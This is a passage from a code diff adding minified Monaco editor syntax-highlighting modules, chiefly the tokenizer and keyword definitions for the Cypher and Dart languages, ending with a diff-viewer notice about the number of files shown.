]+`,"string"],["\\)",{token:"delimiter.parenthesis",next:"@pop"}]],parenthizedterm:[{include:"@term"},["\\)",{token:"delimiter.parenthesis",next:"@pop"}]],declarationbody:[{include:"@term"},[";","delimiter","@pop"],["(?=})",{token:"",next:"@pop"}]],comments:[["\\/\\*","comment","@comment"],["\\/\\/+.*","comment"]],comment:[["\\*\\/","comment","@pop"],[/[^*/]+/,"comment"],[/./,"comment"]],name:[["@identifier","attribute.value"]],numbers:[["-?(\\d*\\.)?\\d+([eE][\\-+]?\\d+)?",{token:"attribute.value.number",next:"@units"}],["#[0-9a-fA-F_]+(?!\\w)","attribute.value.hex"]],units:[["(em|ex|ch|rem|fr|vmin|vmax|vw|vh|vm|cm|mm|in|px|pt|pc|deg|grad|rad|turn|s|ms|Hz|kHz|%)?","attribute.value.unit","@pop"]],keyframedeclaration:[["@identifier","attribute.value"],["{",{token:"delimiter.bracket",switchTo:"@keyframebody"}]],keyframebody:[{include:"@term"},["{",{token:"delimiter.bracket",next:"@selectorbody"}],["}",{token:"delimiter.bracket",next:"@pop"}]],functioninvocation:[["@identifier\\(",{token:"attribute.value",next:"@functionarguments"}]],functionarguments:[["\\$@identifier@ws:","attribute.name"],["[,]","delimiter"],{include:"@term"},["\\)",{token:"attribute.value",next:"@pop"}]],strings:[['~?"',{token:"string",next:"@stringenddoublequote"}],["~?'",{token:"string",next:"@stringendquote"}]],stringenddoublequote:[["\\\\.","string"],['"',{token:"string",next:"@pop"}],[/[^\\"]+/,"string"],[".","string"]],stringendquote:[["\\\\.","string"],["'",{token:"string",next:"@pop"}],[/[^\\']+/,"string"],[".","string"]]}};return d(k);})();
return moduleExports;
});
@@ -0,0 +1,10 @@
"use strict";/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/cypher/cypher", ["require","require"],(require)=>{
var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(i,e)=>{for(var n in e)s(i,n,{get:e[n],enumerable:!0})},g=(i,e,n,o)=>{if(e&&typeof e=="object"||typeof e=="function")for(let t of a(e))!l.call(i,t)&&t!==n&&s(i,t,{get:()=>e[t],enumerable:!(o=r(e,t))||o.enumerable});return i};var p=i=>g(s({},"__esModule",{value:!0}),i);var u={};c(u,{conf:()=>d,language:()=>m});var d={comments:{lineComment:"//",blockComment:["/*","*/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"},{open:"`",close:"`"}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:'"',close:'"'},{open:"'",close:"'"},{open:"`",close:"`"}]},m={defaultToken:"",tokenPostfix:".cypher",ignoreCase:!0,brackets:[{open:"{",close:"}",token:"delimiter.curly"},{open:"[",close:"]",token:"delimiter.bracket"},{open:"(",close:")",token:"delimiter.parenthesis"}],keywords:["ALL","AND","AS","ASC","ASCENDING","BY","CALL","CASE","CONTAINS","CREATE","DELETE","DESC","DESCENDING","DETACH","DISTINCT","ELSE","END","ENDS","EXISTS","IN","IS","LIMIT","MANDATORY","MATCH","MERGE","NOT","ON","ON","OPTIONAL","OR","ORDER","REMOVE","RETURN","SET","SKIP","STARTS","THEN","UNION","UNWIND","WHEN","WHERE","WITH","XOR","YIELD"],builtinLiterals:["true","TRUE","false","FALSE","null","NULL"],builtinFunctions:["abs","acos","asin","atan","atan2","avg","ceil","coalesce","collect","cos","cot","count","degrees","e","endNode","exists","exp","floor","head","id","keys","labels","last","left","length","log","log10","lTrim","max","min","nodes","percentileCont","percentileDisc","pi","properties","radians","rand","range","relationships","replace","reverse","right","round","rTrim","sign","sin","size","split","sqrt","startNode","stDev","stDevP","substring","sum","tail","tan","timestamp","toBoolean","toFloat","toInteger","toLower","toString","toUpper","trim","type"],operators:["+","-","*","/","%","^","=","<>","<",">","<=",">=","->","<-","-->","<--"],escapes:/\\(?:[tbnrf\\"'`]|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,digits:/\d+/,octaldigits:/[0-7]+/,hexdigits:/[0-9a-fA-F]+/,tokenizer:{root:[[/[{}[\]()]/,"@brackets"],{include:"common"}],common:[{include:"@whitespace"},{include:"@numbers"},{include:"@strings"},[/:[a-zA-Z_][\w]*/,"type.identifier"],[/[a-zA-Z_][\w]*(?=\()/,{cases:{"@builtinFunctions":"predefined.function"}}],[/[a-zA-Z_$][\w$]*/,{cases:{"@keywords":"keyword","@builtinLiterals":"predefined.literal","@default":"identifier"}}],[/`/,"identifier.escape","@identifierBacktick"],[/[;,.:|]/,"delimiter"],[/[<>=%+\-*/^]+/,{cases:{"@operators":"delimiter","@default":""}}]],numbers:[[/-?(@digits)[eE](-?(@digits))?/,"number.float"],[/-?(@digits)?\.(@digits)([eE]-?(@digits))?/,"number.float"],[/-?0x(@hexdigits)/,"number.hex"],[/-?0(@octaldigits)/,"number.octal"],[/-?(@digits)/,"number"]],strings:[[/"([^"\\]|\\.)*$/,"string.invalid"],[/'([^'\\]|\\.)*$/,"string.invalid"],[/"/,"string","@stringDouble"],[/'/,"string","@stringSingle"]],whitespace:[[/[ \t\r\n]+/,"white"],[/\/\*/,"comment","@comment"],[/\/\/.*$/,"comment"]],comment:[[/\/\/.*/,"comment"],[/[^/*]+/,"comment"],[/\*\//,"comment","@pop"],[/[/*]/,"comment"]],stringDouble:[[/[^\\"]+/,"string"],[/@escapes/,"string"],[/\\./,"string.invalid"],[/"/,"string","@pop"]],stringSingle:[[/[^\\']+/,"string"],[/@escapes/,"string"],[/\\./,"string.invalid"],[/'/,"string","@pop"]],identifierBacktick:[[/[^\\`]+/,"identifier.escape"],[/@escapes/,"identifier.escape"],[/\\./,"identifier.escape.invalid"],[/`/,"identifier.escape","@pop"]]}};return p(u);})();
return moduleExports;
});
@@ -0,0 +1,10 @@
"use strict";/*!-----------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Version: 0.44.0(3e047efd345ff102c8c61b5398fb30845aaac166)
* Released under the MIT license
* https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt
*-----------------------------------------------------------------------------*/
define("vs/basic-languages/dart/dart", ["require","require"],(require)=>{
var moduleExports=(()=>{var r=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var p=(n,e)=>{for(var t in e)r(n,t,{get:e[t],enumerable:!0})},g=(n,e,t,s)=>{if(e&&typeof e=="object"||typeof e=="function")for(let o of c(e))!a.call(n,o)&&o!==t&&r(n,o,{get:()=>e[o],enumerable:!(s=i(e,o))||s.enumerable});return n};var l=n=>g(r({},"__esModule",{value:!0}),n);var x={};p(x,{conf:()=>d,language:()=>m});var d={comments:{lineComment:"//",blockComment:["/*","*/"]},brackets:[["{","}"],["[","]"],["(",")"]],autoClosingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"'",close:"'",notIn:["string","comment"]},{open:'"',close:'"',notIn:["string"]},{open:"`",close:"`",notIn:["string","comment"]},{open:"/**",close:" */",notIn:["string"]}],surroundingPairs:[{open:"{",close:"}"},{open:"[",close:"]"},{open:"(",close:")"},{open:"<",close:">"},{open:"'",close:"'"},{open:"(",close:")"},{open:'"',close:'"'},{open:"`",close:"`"}],folding:{markers:{start:/^\s*\s*#?region\b/,end:/^\s*\s*#?endregion\b/}}},m={defaultToken:"invalid",tokenPostfix:".dart",keywords:["abstract","dynamic","implements","show","as","else","import","static","assert","enum","in","super","async","export","interface","switch","await","extends","is","sync","break","external","library","this","case","factory","mixin","throw","catch","false","new","true","class","final","null","try","const","finally","on","typedef","continue","for","operator","var","covariant","Function","part","void","default","get","rethrow","while","deferred","hide","return","with","do","if","set","yield"],typeKeywords:["int","double","String","bool"],operators:["+","-","*","/","~/","%","++","--","==","!=",">","<",">=","<=","=","-=","/=","%=",">>=","^=","+=","*=","~/=","<<=","&=","!=","||","&&","&","|","^","~","<<",">>","!",">>>","??","?",":","|="],symbols:/[=><!~?:&|+\-*\/\^%]+/,escapes:/\\(?:[abfnrtv\\"']|x[0-9A-Fa-f]{1,4}|u[0-9A-Fa-f]{4}|U[0-9A-Fa-f]{8})/,digits:/\d+(_+\d+)*/,octaldigits:/[0-7]+(_+[0-7]+)*/,binarydigits:/[0-1]+(_+[0-1]+)*/,hexdigits:/[[0-9a-fA-F]+(_+[0-9a-fA-F]+)*/,regexpctl:/[(){}\[\]\$\^|\-*+?\.]/,regexpesc:/\\(?:[bBdDfnrstvwWn0\\\/]|@regexpctl|c[A-Z]|x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4})/,tokenizer:{root:[[/[{}]/,"delimiter.bracket"],{include:"common"}],common:[[/[a-z_$][\w$]*/,{cases:{"@typeKeywords":"type.identifier","@keywords":"keyword","@default":"identifier"}}],[/[A-Z_$][\w\$]*/,"type.identifier"],{include:"@whitespace"},[/\/(?=([^\\\/]|\\.)+\/([gimsuy]*)(\s*)(\.|;|,|\)|\]|\}|$))/,{token:"regexp",bracket:"@open",next:"@regexp"}],[/@[a-zA-Z]+/,"annotation"],[/[()\[\]]/,"@brackets"],[/[<>](?!@symbols)/,"@brackets"],[/!(?=([^=]|$))/,"delimiter"],[/@symbols/,{cases:{"@operators":"delimiter","@default":""}}],[/(@digits)[eE]([\-+]?(@digits))?/,"number.float"],[/(@digits)\.(@digits)([eE][\-+]?(@digits))?/,"number.float"],[/0[xX](@hexdigits)n?/,"number.hex"],[/0[oO]?(@octaldigits)n?/,"number.octal"],[/0[bB](@binarydigits)n?/,"number.binary"],[/(@digits)n?/,"number"],[/[;,.]/,"delimiter"],[/"([^"\\]|\\.)*$/,"string.invalid"],[/'([^'\\]|\\.)*$/,"string.invalid"],[/"/,"string","@string_double"],[/'/,"string","@string_single"]],whitespace:[[/[ \t\r\n]+/,""],[/\/\*\*(?!\/)/,"comment.doc","@jsdoc"],[/\/\*/,"comment","@comment"],[/\/\/\/.*$/,"comment.doc"],[/\/\/.*$/,"comment"]],comment:[[/[^\/*]+/,"comment"],[/\*\//,"comment","@pop"],[/[\/*]/,"comment"]],jsdoc:[[/[^\/*]+/,"comment.doc"],[/\*\//,"comment.doc","@pop"],[/[\/*]/,"comment.doc"]],regexp:[[/(\{)(\d+(?:,\d*)?)(\})/,["regexp.escape.control","regexp.escape.control","regexp.escape.control"]],[/(\[)(\^?)(?=(?:[^\]\\\/]|\\.)+)/,["regexp.escape.control",{token:"regexp.escape.control",next:"@regexrange"}]],[/(\()(\?:|\?=|\?!)/,["regexp.escape.control","regexp.escape.control"]],[/[()]/,"regexp.escape.control"],[/@regexpctl/,"regexp.escape.control"],[/[^\\\/]/,"regexp"],[/@regexpesc/,"regexp.escape"],[/\\\./,"regexp.invalid"],[/(\/)([gimsuy]*)/,[{token:"regexp",bracket:"@close",next:"@pop"},"keyword.other"]]],regexrange:[[/-/,"regexp.escape.control"],[/\^/,"regexp.invalid"],[/@regexpesc/,"regexp.escape"],[/[^\]]/,"regexp"],[/\]/,{token:"regexp.escape.control",next:"@pop",bracket:"@close"}]],string_double:[[/[^\\"\$]+/,"string"],[/[^\\"]+/,"string"],[/@escapes/,"string.escape"],[/\\./,"string.escape.invalid"],[/"/,"string","@pop"],[/\$\w+/,"identifier"]],string_single:[[/[^\\'\$]+/,"string"],[/@escapes/,"string.escape"],[/\\./,"string.escape.invalid"],[/'/,"string","@pop"],[/\$\w+/,"identifier"]]}};return l(x);})();
return moduleExports;
});
Loaded 100 of 2382 files, more files were not shown because too many files have changed in this diff. Show more